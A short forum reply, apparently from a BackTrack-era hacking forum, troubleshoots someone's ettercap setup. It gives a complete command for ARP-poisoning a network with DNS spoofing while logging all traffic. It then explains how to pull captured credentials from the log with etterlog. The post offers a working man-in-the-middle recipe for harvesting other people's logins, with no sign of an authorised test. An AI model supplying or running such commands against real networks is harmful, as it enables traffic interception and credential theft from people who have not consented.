It looks like everything is fine to me..As long as ettercap for sniffing and forwarding is concerned; looks ok...The plugin also as it should be...
Try the -l parameter with ettercap, it save all trafic in a file, example: ettercap -T -q -l my_data -M ARP:remote // // -i eth0 (wlan1 if in another machine) -P dns_spoof
This way you will save all credentials traffic in a file named my_data.eci
If you use the-L parameter, you will create 2 files: my_data.eci and my_data.ecp..The eci file has the credentials..Just read it with etterlog: etterlog my_data.eci
You must install the etterlog (aptitude install etterlog)..
I assume you are using BT5, you can try this in BT4 final..BT5 is not that stable...Another thing, put the uid and guid back to 65534 and try using one target and the GW..See what happens...
Try it and keep posting..
Best of lucks...



